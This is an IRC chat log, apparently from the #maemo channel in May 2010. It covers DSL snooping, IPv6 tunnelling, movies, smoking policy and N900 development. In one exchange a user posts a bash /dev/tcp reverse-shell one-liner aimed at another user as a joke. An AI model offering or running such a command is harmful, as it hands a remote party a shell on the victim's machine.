subscribers, and uses ARP proxy to your PC May 08 22:03:16 luke-jr: DSL is quite annoying to snoop May 08 22:03:31 .. and they see back as far as the NAT port on your router.. rigth? May 08 22:03:36 luke-jr: As it's designed to be a two-way protocol. May 08 22:03:47 luke-jr: And it's OFDM and shit. May 08 22:03:56 alexcockell: NAT is an ugly hack of connection sharing, it is NOT a firewall and does NOT protect you May 08 22:04:02 alexcockell: all traffic going trough your dsl May 08 22:04:09 luke-jr: There is no actual encryption - but snooping it is hard. MITMing is hard as there is no commodity hardware May 08 22:04:10 alexcockell: and some modem allow remote firmware upgrade May 08 22:04:18 alexcockell: which gives them more possibilities May 08 22:04:21 MITM? May 08 22:04:29 Man In The Middle May 08 22:04:30 Man in the middle May 08 22:04:37 mh? but you need your own modem to snoop cable, right? May 08 22:04:38 Ah. May 08 22:04:49 Shapeshifter: sure, why? May 08 22:04:53 In the case of DSL, it would be putting a DSLAM at the end of the cut cable, and a DSL modem next to it to talk to the telco May 08 22:04:55 SpeedEvil: well, dslam + modem + laptop May 08 22:05:00 SpeedEvil: + switch May 08 22:05:26 DSL has a dedicated wire to each house, IIRC May 08 22:05:32 Cable just has a single shared fiber optic May 08 22:05:33 But - seeing that my main time when I might cane the link is when I'm watching something off iPlayer... or if I'm listening to a queue off We7.. May 08 22:05:52 luke-jr: I never heard anyone on my provider using his own modem, so I assume only modems by the provider can be used. May 08 22:06:05 jacekowski: yes. May 08 22:06:05 luke-jr: you can May 08 22:06:13 Shapeshifter: 1) FCC regulations require providers to allow hardware other than their own May 08 22:06:20 Shapeshifter: 2) ISP needs not know ;) May 08 22:06:24 jacekowski: Or a ADC + laptop + ubersoftware. May 08 22:06:32 in fact, if you're just sniffing, I don't think the ISP *can* detect or trace youy May 08 22:06:43 well the could May 08 22:06:45 if you do mitm May 08 22:06:50 isn't cable like so that you have to have a hw address on the box that the isp knows? May 08 22:06:51 and use your own modem as mac will change May 08 22:06:52 jacekowski: if you modify stuff May 08 22:07:01 luke-jr: iirc the fcc doesn't apply to all countries May 08 22:07:02 or whatever is that called on adsl May 08 22:07:08 jacekowski: you don't need to transmit to sniff cable May 08 22:07:12 Shapeshifter: sure May 08 22:07:29 Shapeshifter: even then, they can't easily stop you if they don't know May 08 22:07:30 Shapeshifter: as long as you use compatible hardware it's going to work May 08 22:07:49 Shapeshifter: except that cable providers lock line to specific mac address May 08 22:07:50 Trying to do that without clearance would expose me to all kinds of legal issues - under RIPA, Computer muisuse Act, DPA... May 08 22:07:54 For sniffing DSL, I would guess that ot May 08 22:08:03 that *is* inteesting May 08 22:08:08 it's going to be at least a few tens of thousands of lines of code May 08 22:08:12 alexcockell: sure May 08 22:08:18 the DSL protocol is not really simple May 08 22:08:19 alexcockell: you never done anything illegal? May 08 22:08:21 alexcockell: but we're not talkign about BitTorrent anymore; that's legal :P May 08 22:08:57 SpeedEvil: isn't DSL just PPPoE, followed by modulation/demodulation? May 08 22:09:07 Apart from the odd CD copy years ago (taped friend's CD)... no. May 08 22:09:08 nope May 08 22:09:13 luke-jr: yes. May 08 22:09:14 luke-jr: dsl is home version of ATM May 08 22:09:23 btw, on sniffing dsl, a provider in germany had a serious misconfiguration in his network, that basically allowed all traffic inside their subnet. this meant you could see all peers connected and browse all open smb shares and so on. May 08 22:09:24 luke-jr: the PPPoE and ATM are the trivial part May 08 22:09:35 Shapeshifter: they should. :) May 08 22:09:36 PPPoA more common in UK May 08 22:09:36 luke-jr: The DSL protocol - is _messy_ May 08 22:09:45 My ISP is happy for me to use an ADSL router other than the one you provided. May 08 22:09:51 Shapeshifter: that's normall May 08 22:09:52 Shapeshifter: idiots with open SMB shares can take responsibility for themselves May 08 22:09:57 Shapeshifter: NTL cable in the UK used to be like that. A good firewall was useful :) May 08 22:09:58 Shapeshifter: you can always do it May 08 22:10:01 Shapeshifter: or sue the company that misconfigured their OS defaults May 08 22:10:07 luke-jr: It's several layers of stacking protocol, and adds analog signal processing problems to that. May 08 22:10:08 Shapeshifter: unless provider filters smb ports May 08 22:10:35 I run Ubuntu at home - so no hassles re SMB... May 08 22:10:39 jacekowski: well clearly they should disallow any direct traffic May 08 22:10:44 Shapeshifter: no May 08 22:10:45 luke-jr: For example, there are about 200 different channels in DSL. Each one has a variable number of bits per frame. That can shift according to noise on the line. May 08 22:10:45 Shapeshifter: no May 08 22:10:56 no? May 08 22:10:59 Shapeshifter: why i shouldn't be allowed to talk to someboy in same subnet? May 08 22:11:04 somebody* May 08 22:11:04 the point of the internet is direct traffic May 08 22:11:27 it's blaster that made provider start to block that May 08 22:11:36 :( May 08 22:11:47 ecause the normal user doesnt know what he's doing May 08 22:11:50 Most DSL connections in the UK are very much point-point to the ISP May 08 22:11:57 Shapeshifter: then ban that idiot from the internet :/ May 08 22:12:10 well. I guess I agree May 08 22:12:14 You can't talk to your neighbour, as your neighbours connection has no IP address. May 08 22:12:29 luke-jr: if any party would made that kind of proposal May 08 22:12:32 luke-jr: they have my vote May 08 22:12:35 lol May 08 22:12:58 Shapeshifter: everything has ip address May 08 22:13:02 * SpeedEvil has donated to the Pirate party. May 08 22:13:07 in seriousness, though, I'd be fine with an ISP that charged $5/mo for firewalling service, and required a test to sign up for service without it May 08 22:13:25 http://www.pirateparty.org.uk/party/donate/ May 08 22:13:31 it should be that filtering is enabled by default for free May 08 22:13:40 smtp traffic, smb May 08 22:13:41 jacekowski: why? filters cost money :p May 08 22:13:49 filtering/firewall May 08 22:14:00 hmm May 08 22:14:08 enabled by default May 08 22:14:14 actually, I'd hate to pay $5/mo if I had to have my ISP block some retard trying to DoS me May 08 22:14:19 and don't inform people about it in any official way May 08 22:14:19 theyd probably make it back in saved costs for less bw/support May 08 22:14:30 just small print May 08 22:14:35 so sure, free ISP-side filtering defaulted to block anything inbound May 08 22:14:43 Filters cost money. May 08 22:14:47 so people that need it unblocked will just call them May 08 22:14:49 s/free/included/ May 08 22:14:49 luke-jr meant: so sure, included ISP-side filtering defaulted to block anything inbound May 08 22:14:51 utopia May 08 22:14:53 But, support also costs money May 08 22:14:54 SpeedEvil: bandwidth cost money May 08 22:14:59 and that May 08 22:15:03 jacekowski: or a nice web interface to configure it May 08 22:15:14 SpeedEvil: transit traffic costs more than filtering May 08 22:15:15 maybe let me auto-upload iptables configs May 08 22:15:16 :) May 08 22:15:21 jacekowski: that too. May 08 22:15:34 and it would make internet so much safer May 08 22:15:53 actually, that'd be perfect: no phone deblocking, no webbrowser deblocking: require a SFTP upload of your iptables/whatever config ;) May 08 22:15:53 I wonder when ipv6 will arrive May 08 22:15:59 Shapeshifter: hmm? May 08 22:16:27 Internet 2.0 May 08 22:16:32 Dark fibre. May 08 22:16:41 Shapeshifter: /whois luke-jr May 08 22:16:44 Shapeshifter: get with the program May 08 22:16:53 IPv6 arrived a long time ago May 08 22:17:01 hmm May 08 22:17:07 Hi all, is it possible to do outbound SIP video calls? My n900 only seems to send video codecs (H.26x) in response to an INVITE with video codecs, not when it's initiating May 08 22:17:11 i'm wondering if it's possible to get it in uk May 08 22:17:14 yup. i got native ipv6 at home, but only shitty nated ipv4 May 08 22:17:28 jacekowski: IPv6 doesn't *require* any ISP-level support anymore, so unless your ISP is actively blocking it... May 08 22:17:29 they'r beginning to use it for mobile networks and *some* ISPs but it seems reluctant to get off the ground May 08 22:17:34 hang on, ipv6 at home? May 08 22:17:44 zokier: I'd aim for IPv6-to-IPv4 NAT ;) May 08 22:17:46 luke-jr: tunel is a workaround May 08 22:18:03 polish telecom used to provide it May 08 22:18:05 zokier: have your DNS server turn A records into AAAA under some subnet of yours, then NAT those to IPv4 May 08 22:18:07 with 6bone May 08 22:18:13 jacekowski: don't need a tunnel either May 08 22:18:27 but when 6bone was closed they stopped ipv6 for home users May 08 22:18:38 luke-jr: how? May 08 22:18:47 jacekowski: 2002::/16 subnet :) May 08 22:18:52 eeee May 08 22:19:14 that's cheating May 08 22:19:17 luke-jr: but you're tunnelling are you not? May 08 22:19:38 * luke-jr pings 2002:5e17:1051::1 May 08 22:19:53 besides, how does it work on isp level May 08 22:20:02 luke-jr, i dont see how that would help anything May 08 22:20:07 is router need ipv6 support May 08 22:20:07 Shapeshifter: it's "tunnelling" to the first IPv6-capable router May 08 22:20:17 wherever that may be May 08 22:20:25 as long as your ISP does only give you a v4 IP its kinda futile. May 08 22:20:30 jacekowski: tcpdump your gateway box May 08 22:20:44 Shapeshifter: what's your IPv4? May 08 22:20:59 luke-jr: which one? May 08 22:21:03 jacekowski.org? May 08 22:21:05 jacekowski: yes May 08 22:21:06 that's not my gw May 08 22:21:15 that's my server far away in france with proper ipv6 May 08 22:21:19 lol May 08 22:21:51 but not its 2002 address configured? :P May 08 22:22:02 luke-jr: why? well. I know you can map v4 adresses to v6. is that any good? (I'm just clueless) May 08 22:22:08 Shapeshifter: yes May 08 22:22:14 ookay May 08 22:22:22 I'll look into it May 08 22:22:27 Shapeshifter: I can take your IPv4 address and start sending you pings over IPv6 that show up on your side May 08 22:22:35 mhh May 08 22:22:37 http://luke.dashjr.org/i-want-v6 May 08 22:22:44 thanks May 08 22:23:20 well May 08 22:23:22 nvm May 08 22:23:25 i have ipv6 disabled May 08 22:23:47 so whoever was the 193.x.x.x IP that clicked that, I'm pinging you over IPv6 now :P May 08 22:23:58 the one browsing my other dirs May 08 22:24:16 Jaffa, its hard to find the right mechanism, each dev/bug/change will be different, from the inconvenience doh bugs when you are 9days into testing to blockers being identified and requiring complete reevaluation May 08 22:24:43 2a02:3c8:bad:f00d:21d:e0ff:xxxx:xxxx LOL May 08 22:25:08 00:24:31.001545 IP 94.23.16.250 > 94.23.16.81: ICMP echo request, id 48491, seq 45061, length 64 May 08 22:25:11 you? May 08 22:25:18 try hacking me: 192.168.0.1 May 08 22:25:31 try me 127.0.0.1 May 08 22:25:47 crashanddie, ping responds from there, hold on its got a shell. does anything happen on yours if i run this rm command? May 08 22:26:00 try hacking me: 2130706433 May 08 22:26:15 lol, lcuk won ;D May 08 22:27:43 exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 May 08 22:27:45 :) May 08 22:28:55 o_o that scares me May 08 22:28:56 o_O May 08 22:28:59 lol May 08 22:29:11 o_O May 08 22:29:49 crashanddie: exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 May 08 22:30:16 luke-jr: what would that do? May 08 22:30:31 crashanddie: if I was listening on port 1, it would give me your shell :D May 08 22:30:52 were May 08 22:30:56 it's were for fuck's sake May 08 22:31:02 conditional May 08 22:31:02 ... May 08 22:31:22 luke-jr: nice one though May 08 22:31:30 also - isn't the tcp thing y a bashism? May 08 22:31:41 SpeedEvil: duh May 08 22:35:52 Do anyone know the english word for a desk, that you can adjust in the height? up-and-down-lifting-table doesn't sound right in my ears.. :) May 08 22:36:14 height-adjustable desk? May 08 22:36:40 or just adjustable desk May 08 22:37:03 adjustable desk May 08 22:37:28 thx May 08 22:52:05 my son doesn't seem to like the goonies May 08 22:55:07 Macer, unfortunate May 08 22:55:13 haha May 08 22:55:15 yeah May 08 22:55:16 :D May 08 22:55:23 so i guess downloading space camp is out of the question May 08 22:55:26 that's another classic :) May 08 22:55:27 AHAHAHAAAAAAA May 08 22:55:32 win May 08 22:55:42 i loved space camp when i was a kid. awesome movie May 08 22:55:47 same May 08 22:56:04 lemme guess, you're ~35 yrs old May 08 22:56:40 30 ;) May 08 22:57:20 they just don't make movies like these anymore May 08 22:57:31 no doubt May 08 22:57:35 where watching a movie felt like a real sense of adventure May 08 22:57:36 heh May 08 22:58:44 yeah i know .. movies suck now May 08 22:58:52 all superficiality and shock value May 08 22:58:54 well. snatch and fight club were great May 08 22:58:59 true indeed May 08 22:59:03 so was 5th element (even if they stole the idea from heavy metal) May 08 22:59:26 dark city was kind of good too May 08 22:59:38 * SpeedEvil holds up his multipass. May 08 22:59:43 haha May 08 22:59:50 MOOOOOOLTIIIII PASS May 08 22:59:55 :) May 08 23:00:20 lol May 08 23:00:22 i liked zorg the best May 08 23:00:35 jean baptise emanuel zorg May 08 23:00:47 **netsplit** May 08 23:00:52 yah May 08 23:01:07 * SpeedEvil thinks. May 08 23:01:18 i love the way 5th element would jump from place to place May 08 23:01:20 those are annoying May 08 23:01:27 Total Recall. May 08 23:01:28 like when she is telling the story about how the stones weren't with her May 08 23:01:42 haha.. total recall was pretty good for what it was May 08 23:02:04 * SpeedEvil admits he remembers mostly 3 things from that movie. May 08 23:02:13 the 3 breasted woman? May 08 23:02:19 lock stock and two smoking barrels is fun May 08 23:02:21 and the eyeballs popping out? :) May 08 23:02:32 i didn't like lock stock and two smoking barrels May 08 23:03:01 only truly funny parts about that movie is where the black dude sets the guy on fire and when that stoner girl jumps out and grabs that huge rifle and starts shooting all over the place May 08 23:03:26 Traffic warden. May 08 23:03:53 beetlejuice. May 08 23:03:55 Trainspotting. May 08 23:04:20 mh. beetleguise? May 08 23:04:22 mh... May 08 23:04:35 juice May 08 23:04:39 no it was Beetlejuice May 08 23:04:40 yes May 08 23:04:46 Don't say it again! May 08 23:04:47 didn't think beetlejuice was all that good May 08 23:04:57 trainspotting was ok tho May 08 23:05:04 Betelgeuse was the star May 08 23:05:06 the huge one May 08 23:05:21 i watched the older indiana jones movies and they're not really all that good May 08 23:05:29 but fun May 08 23:05:34 except the one with sean connery May 08 23:05:41 you can't make a bad movie with sean connery in it :) May 08 23:05:45 indeed May 08 23:06:00 moon is good May 08 23:06:09 i always hated the fact that tom cruise was considered a good actor.. he was/is horrible May 08 23:06:26 yes May 08 23:06:27 i mean they always surround him with real talent . although.. he was good in the nam movie with ben stiller May 08 23:06:36 Indiana jones moment for me will always be the sword + gunfight. May 08 23:06:37 mission impossible was still fun May 08 23:06:45 i HATED mission impossible :) all of them May 08 23:06:49 meh May 08 23:06:54 you don't understand meaningless fun May 08 23:07:02 rambo is meaningless fun ;) May 08 23:07:10 well.. part 2 and 3 were May 08 23:07:18 Bring It On. May 08 23:07:21 part 1 was someone actually trying to make a plot out of someone blowing things up May 08 23:07:40 but part 2 and 3 were a riot May 08 23:07:43 here's one May 08 23:07:51 i don't think hollywood understands how much it hurts when someone is shot :) May 08 23:08:08 mh I forgot the name May 08 23:08:08 it's not like "let me just brush it off and start running around again" like rambo would lead you to believe haha May 08 23:08:10 how could I May 08 23:08:20 legend was an ok tom cruise movie May 08 23:08:28 Demolition Man!! May 08 23:08:31 that is fun May 08 23:08:35 oh hell yeah! May 08 23:08:36 haha May 08 23:08:38 forgot about thatone May 08 23:09:00 it is so like real life.. where people have awesome names like SIMON PHOENIX... and JOHN SPARTAN May 08 23:09:10 :) May 08 23:09:16 i want a name like simon phoenix May 08 23:09:42 :) May 08 23:10:30 http://upload.wikimedia.org/wikipedia/commons/c/c2/Flickr_-_nicogenin_-_66%C3%A8me_Festival_de_Venise_%28Mostra%29_-_Sylvester_Stallone_%2826%29.jpg May 08 23:10:33 what a picture May 08 23:20:51 * swc|666 has that same tie oddly May 08 23:22:50 spaceballs May 08 23:26:09 I just thought about something (yes, it hurts): Why are products to quit smoking not reimbursed by social security? (talking for countries that actually have SS) May 08 23:27:13 yeah for real May 08 23:27:22 or May 08 23:27:55 in the U.S., the tobacco companies were mandated to spend X $'s /yr on anti-smoking campaigns .. why not make them give out free nicotine patches to quitters/etc May 08 23:28:13 Well, no, that's ridiculous May 08 23:28:25 It's like asking mcdonalds to give free passes to gyms May 08 23:28:29 In the UK, you *can* get anti-smoking treatments on the NHS under certain circumstances. May 08 23:28:48 PerfDave: erhm, I asked my GP and he laughed at the idea May 08 23:29:16 where is mcd? x) May 08 23:29:25 * d14 have higlite to mcd :)) May 08 23:29:27 crashanddie: Under certain circumstances :) May 08 23:29:35 PerfDave: which are? May 08 23:29:36 poor poor frals, 0 karma on fMMS May 08 23:29:48 crashanddie: Fucked if I know, I don't work in the NHS :) May 08 23:30:06 I mean, on average, it takes 4 tries for a smoker to either completely quit smoking, or completely quit quitting. May 08 23:30:46 But I do know people who've had access to nicotine patches etc. on the NHS. Possibly depends on whether your GP is happy to refer you or whether your PCT is happy to fund you, and whether your smoking is directly causing other health problems. May 08 23:30:47 a full "quitting set" (patches, gums, whatev) costs roughly 130 eur, so let's say grossly 400 eur per smoker May 08 23:30:49 you start smoking by your own will and choise so I guess it doesnt quite fit to something normally covered by social security May 08 23:30:54 crashanddie, gyms in mcdonalds stores or franchise outlets in existing gyms would probably be a good thing May 08 23:31:27 Kegetys: except that smokers pay massive amount of taxes on cigarettes that massively fund social security May 08 23:31:47 Kegetys: either refund my attempts to stop, or give me a priority pass in hospitals, I already pay a lot more than anyone else May 08 23:32:00 dont buy them if you dont want to pay that ;) May 08 23:32:22 Kegetys: drinking in a conscious choice as well, however there are government-funded plans to help drinkers quit May 08 23:32:39 s/in/is May 08 23:32:39 yep, thats quite silly as well I think May 08 23:32:42 Kegetys, serious question - if everybody stopped smoking tomorrow would most of the hospitals close through lack of patients? May 08 23:32:50 * PerfDave gave up smoking to try and help his sleep apnea May 08 23:32:51 lcuk: huh? May 08 23:33:00 sorry, meant to crashanddie May 08 23:33:07 is GNU screen available on the n900? May 08 23:33:13 but its relating to the amount of extra treatment smokers need May 08 23:33:37 lcuk: nope, I don't think the change would be noticeable to be honest May 08 23:33:52 but the money coming in would May 08 23:33:56 fast food kills more people than cigs do May 08 23:34:09 yeah there should be a speed limit for burgersw May 08 23:36:30 lcuk: it's funny though, they say they want us to quit, but they're telling us "If you want to quit, you have to pay" May 08 23:36:51 and also "if you don't want to quit, you have to pay" May 08 23:37:20 and "be smart and dont even start and you're ok" but not everyone listens ;) May 08 23:37:24 you dont pay for either service if you never start May 08 23:37:43 and once you are you are already paying so its just a trnasfer May 08 23:38:09 they should sell vacations to desert islands with just food for a week May 08 23:38:10 meh, it's an addiction May 08 23:40:34 BCMM: I would be suprised if it weren't - pretty sure it'll compile against non-GNU libc without much work. May 08 23:52:16 nite all, sweet dreams May 09 00:01:46 PerfDave: what sort of libc do we have? May 09 00:05:53 BCMM: Oh, it is GNU... I thought the N900 used uclibc May 09 00:07:24 nope, glibc May 09 00:07:35 oh, wait lol May 09 00:07:54 * b-man needs his coffee May 09 00:08:09 Shows what I know :) May 09 00:11:08 I'm writing a gtk/hildon app and testing it in scratbox/xephyr following the steps in the wiki SDK_installation_for_beginners. In the scratchbox environment the app just shows gtk widget it's built on, wheresa on the n900 they actually appear like the hildon ones. May 09 00:11:15 What could I be missing? :\ May 09 00:11:54 did you run run-standalone.sh? May 09 00:12:09 run-standalone.sh May 09 00:18:05 ah thanks, just working out this SBOX_CPUTRANSPARENCY_METHOD it wants now May 09 00:35:20 sorry if this is a dumb question, but I have the scratchbox-toolchain-cs2007q3-glibc2.5-arm7-1.0.12-9-i386.tar.gz devkit installed (by the sdk install script), /scratchbox/devkits/qemu/etc/cputransp-methods with qemu-arm-sb in it, but it won't let me select qemu-arm-sb as a cputransparency target May 09 00:39:47 Are the operations with SD card in MiniSDHC card slot slower than with Internal 2GB Storage on Nokia n810? May 09 00:51:38 probably not a noticable speed difference May 09 01:08:16 Hmm anyone have the QT sdk working with MADDE on the n900? May 09 01:14:54 just did a dpkg -l | grep libqt4 | awk { print $2 } | xargs apt-get -y autoremove May 09 01:15:06 hopefully that doesn't brick my device May 09 01:17:21 doesn't look too harmful :) May 09 01:17:49 wow that command freed 10% of my rootfs May 09 01:18:23 how much free rootfs space you have total? May 09 01:18:38 10% May 09 01:18:42 lol May 09 01:18:49 lol u were capped :P May 09 01:18:56 why ist this one http://maemo.org/downloads/product/OS2008/seqretary/ not findable under "instalable applications" ? May 09 01:18:57 so your rootfs was full before you ran that command? May 09 01:19:07 there's a script on maemo wiki that frees a lot more.. i was at 17 megs free and it put me to 68 megs May 09 01:19:23 markinfo, if you are on an n900 its because its not in the fremantle repository May 09 01:19:36 is it normal to have both libqt4-* and libqt4-maemo5-* at the same time May 09 01:19:38 it is an os2008 older title and may not have been brought forward yet May 09 01:19:42 yes my device was full on rootfs May 09 01:19:48 lcuk, n810 May 09 01:21:00 lemme see if mine has that dotblank May 09 01:21:12 do I need to add something like "beta" section on OS2008? May 09 01:22:04 my qt apps from the maemo sdk keep segfaulting so maybe that was the culprit? May 09 01:22:49 markinfo, then check the repositories included May 09 01:22:59 yeah i cant remember off hand how to add extras May 09 01:23:03 its in the wiki tho May 09 01:23:18 markinfo, or you could just browser to that page on your 810 May 09 01:23:23 most have .install file stuff May 09 01:23:43 the green arrow from within browser on your 810 should add the repo May 09 01:23:53 and install app in one go May 09 01:25:53 lcuk, - yes - there is some kawseq.com repository. May 09 01:27:32 dotblank, yeah i had both qt's May 09 01:27:44 have rather :) May 09 01:28:07 Anyway - what is recommendable manager For Termins and tasks what would easy syncronized with debian desktop/server. May 09 01:28:49 dunno May 09 01:29:42 omar, can you gice me a dump of your dpkg-l | grep libqt4 I need to see the version numbers May 09 01:30:09 give me * May 09 01:30:25 i'd have to drop my vpn to ssh into my phone.. May 09 01:31:18 oh well nevermind.. its just the packages for my libqt are from 2009 and I don't think thats normal.. it keeps segfaulting when I write qt app May 09 01:31:19 s May 09 01:32:01 my maemo ones are from 2010, the rest 2009 May 09 01:33:43 the maemo ones I see are from 2010 and are version 4.6.2 but the non maemo ones are from 09 and are 4.5.3 May 09 01:34:18 yup same w/mine May 09 01:34:26 i haven't tried writing any apps yet though May 09 01:38:31 well... don't know what to say... May 09 01:38:45 no its telling me that I need to relink it May 09 01:38:47 say you love me too! May 09 01:39:01 ah well.. maybe it will get fixed in pr1.2... of it ever comes May 09 01:39:16 I love you May 09 01:39:19 thanks for the hel May 09 01:39:20 p May 09 01:39:49 lol May 09 01:40:21 anyway what're you trying to run on ur phone? want to send the files to me i'll try? May 09 01:41:19 hello May 09 01:41:40 hi May 09 01:42:10 just trying to get any qt apps ive compiled from the new nokia sdk May 09 01:42:36 I think ill just wait for pr 1.2 May 09 01:42:58 alright May 09 01:43:26 btw if you want more rootfs space the script i mentioned was here http://wiki.maemo.org/Free_up_rootfs_space May 09 01:43:29 gave me like 40 megs more :) May 09 01:45:48 dotblank, mind telling me how i should get started making qt apps? I have some C++ just from university courses and know a bit of python May 09 01:46:14 i haven't really programmed any gui things before May 09 01:50:45 Just stick with commandline apps May 09 01:50:50 ncurses/termcap May 09 01:50:56 GUI is just a fad. May 09 01:52:01 would be nice to learn though, the average person doesn't care about cli apps May 09 01:53:06 :) May 09 01:53:14 * SpeedEvil needs to get with the program too. May 09 01:54:56 omar, actually im doing this to learn myself May 09 01:55:17 stupid question, but where is gcc located on the device? May 09 01:55:31 you don't really have the sdk on the device May 09 01:55:35 dotblank, how did you start though? May 09 01:55:52 The only way you would usually do this is make a chroot with the sdk on the flash portion May 09 01:56:03 whenever i go to learn something i keep jumping all over the place installing every IDE i see and 20 tabs open with different things May 09 01:56:04 I installed the scratchbox May 09 01:56:28 I started with just porting applications May 09 01:56:38 i have no idea how to do that ;) May 09 01:56:59 i guess you just need scratchbox to compile for armel? May 09 01:57:17 it wyea May 09 01:57:27 yea in a nutshell May 09 01:57:43 so after that just grab sourcecode for whatever it is you want and compile it with scratchbox? May 09 01:57:53 yupe May 09 01:57:57 yup* May 09 01:57:59 sounds fun May 09 01:58:04 not so simple May 09 01:58:12 opengl ES is a pain May 09 01:58:45 any app that depends on ogl will have problems... May 09 01:59:00 oh May 09 01:59:10 I actually got marble to compile... May 09 01:59:22 the first time i ever saw an n900 was on youtube running quake 3.. way before the device was released May 09 01:59:32 i figured it'd be easy to port apps May 09 01:59:54 it usually is.. I ported a battlenet server over to my n900 May 09 01:59:56 I havn' May 09 02:00:01 t released it tho May 09 02:00:08 battlenet server huh? May 09 02:00:25 for starcraft and warcraft May 09 02:00:37 i see May 09 02:00:54 why would you want to run a b.net server on your phone? :) May 09 02:00:54 great for mobile instant tournaments May 09 02:00:59 \o #maemo May 09 02:01:04 port the whole game then :) May 09 02:01:09 wel... May 09 02:01:20 game kinda depends on wine May 09 02:01:36 oh.. is wine coming to n900? May 09 02:01:44 no May 09 02:01:58 if wine to work then.... May 09 02:01:59 too complicated i take it? May 09 02:02:03 omar: wine+qemu might work May 09 02:02:05 that would be absolutely insaine May 09 02:02:21 but the performance would be fo the order of magnitude of a 386/20 or so maybe May 09 02:02:23 SpeedEvil, googling qemu :) May 09 02:02:27 you might get it to work on those new intel mobile chips May 09 02:02:32 SpeedEvil, yayyy fractint May 09 02:02:46 with meego in the future May 09 02:02:53 lcuk: And povray May 09 02:02:53 oh so you have 2 levels of emulation going, cpu and software May 09 02:03:09 lcuk: At a frame every few hours. May 09 02:03:29 that authentic feeling May 09 02:03:35 I have played starcraft on my n900 May 09 02:03:42 it was about 10 fps May 09 02:03:54 at least in the past you KNEW you had done some real work when you computer strained for several hours to process your input May 09 02:03:56 I cheated though May 09 02:04:06 I had a vnc server May 09 02:04:15 wat? how'd you manage that May 09 02:04:16 o May 09 02:04:21 X works OK - remoted May 09 02:04:31 I've used the n900 to display desktop FF May 09 02:04:33 omar, and vnc isnt rocket science May 09 02:04:36 It's actually quite usable May 09 02:04:52 You need to turn off powersave on wifi though. May 09 02:04:58 I love scp May 09 02:05:06 I jsut scp all my music to my phone May 09 02:05:53 i'm not a linux expert so i prefer sshfs :D May 09 02:06:13 scp is freakishly easy May 09 02:06:21 its just like cp May 09 02:06:22 kde filemanager just doing it is nice May 09 02:06:31 rsync++ May 09 02:06:45 i remember the first time i tried using it, it took me like 10 mins to figure out the syntax May 09 02:07:04 scp file root@phone:/home/user/MyDocs/ May 09 02:07:08 never easier May 09 02:07:55 oh May 09 02:07:59 that is pretty easy May 09 02:08:18 dotblank, you think thats wise? May 09 02:08:27 lcuk, with root.. no May 09 02:08:38 yeah, you cant delete the files on the go May 09 02:09:03 why not with root? i thought mydocs was on the ntfs partition May 09 02:09:05 my xterm is on the go May 09 02:09:13 omar, its fat May 09 02:09:19 oh fat32 May 09 02:09:51 so what's not wise about that command? May 09 02:10:11 logging in with root is a big linux no no May 09 02:10:24 yet everyone secretly does it May 09 02:11:01 all the wikis and examples online aren't so secret about it :) May 09 02:11:45 omg.. my xterm just broke May 09 02:12:33 How did this HAPPEN! May 09 02:12:39 I can't fix it May 09 02:12:45 I need the xterm to fix it May 09 02:13:38 how broke? May 09 02:13:49 won't start May 09 02:14:47 what'd you do to it? May 09 02:15:06 seems like rebooting it fixed it May 09 02:16:18 So im a big nerd but im going to make app that is a physics lab toolkit May 09 02:16:46 ie projection.. optics gravity circut theory among other things May 09 02:17:34 Add a grand unified theory, and I'll download it. May 09 02:18:14 can someone tell me what happens when they run this please http://liqbase.net/stuff/liqbubbles2.py May 09 02:18:16 I'll just include the theory of everything.. but it will just be stuck in extras devel May 09 02:18:27 forever May 09 02:25:56 dotblank, fix your terminal? May 09 02:28:20 yea May 09 02:39:22 what is the config option for apt that changes the apt cache download loacation May 09 02:43:34 nvm found it May 09 02:43:45 i'm having probs trying to install maemo sdk, got this error: May 09 02:43:53 Inconsistency detected by ld.so: rtld.c: 1192: dl_main: Assertion `(void *) ph->p_vaddr == _rtld_local._dl_sysinfo_dso' failed! May 09 02:44:07 everything i've read online says to echo 0 into something but that doesn't work May 09 02:44:11 are you on 64 bit? May 09 02:44:13 ya May 09 02:44:17 or using a new kernel May 09 02:44:18 ok May 09 02:44:20 64 bit May 09 02:44:23 this command will fix it May 09 02:45:19 sysctl abi.vsyscall32=0 May 09 02:45:28 as root May 09 02:45:49 yay it worked ;) May 09 02:45:50 thanks May 09 02:46:11 that option will need to be run any time you login into sbox May 09 02:46:36 so i shall just make a script to do it for me then May 09 02:46:40 what's that option change exactly? May 09 02:46:55 dunno May 09 02:47:33 lol your fix was on the bottom of the page i'm reading May 09 02:47:36 didn't see it there May 09 02:48:18 oh -- is there a way to change the size of that gigantic X button when editing widgets? May 09 02:48:31 some of my widgets are so small there's nearly no room to move them with that huge X and the config button in the way May 09 02:50:25 can someone test my skype? May 09 02:50:36 my skypes been broken on my n900 May 09 02:50:47 or I think it is May 09 02:51:25 weird skype not in ubuntu repo May 09 02:51:42 why would it? May 09 02:51:49 just about everything else is! May 09 02:51:57 skype is closed source May 09 02:51:59 mostly May 09 02:52:12 oh so only open source on repos? didn't know that rule :P May 09 02:52:18 mostly May 09 02:54:06 i'll try to skype w/ye as soon as i figure out my password May 09 02:55:14 i'm in -- add naomarik May 09 02:57:16 calling out works but incoming im not so sure May 09 02:57:52 trying May 09 02:58:22 ok it works.. May 09 02:58:27 quality sounded good.. too bad i don't know anyone that uses skype May 09 02:58:29 I just updated the skype plugin tho May 09 02:58:48 i didn't think the n900 required a skype plugin? May 09 02:58:58 well I saw a deb related to it May 09 02:59:06 when i apt-get upgrade May 09 02:59:24 in pr1.2 there will be skype video calling May 09 02:59:30 yeah read about that May 09 02:59:36 can't wait for pr1.2 May 09 02:59:38 that'll be nice **** ENDING LOGGING AT Sun May 09 02:59:56 2010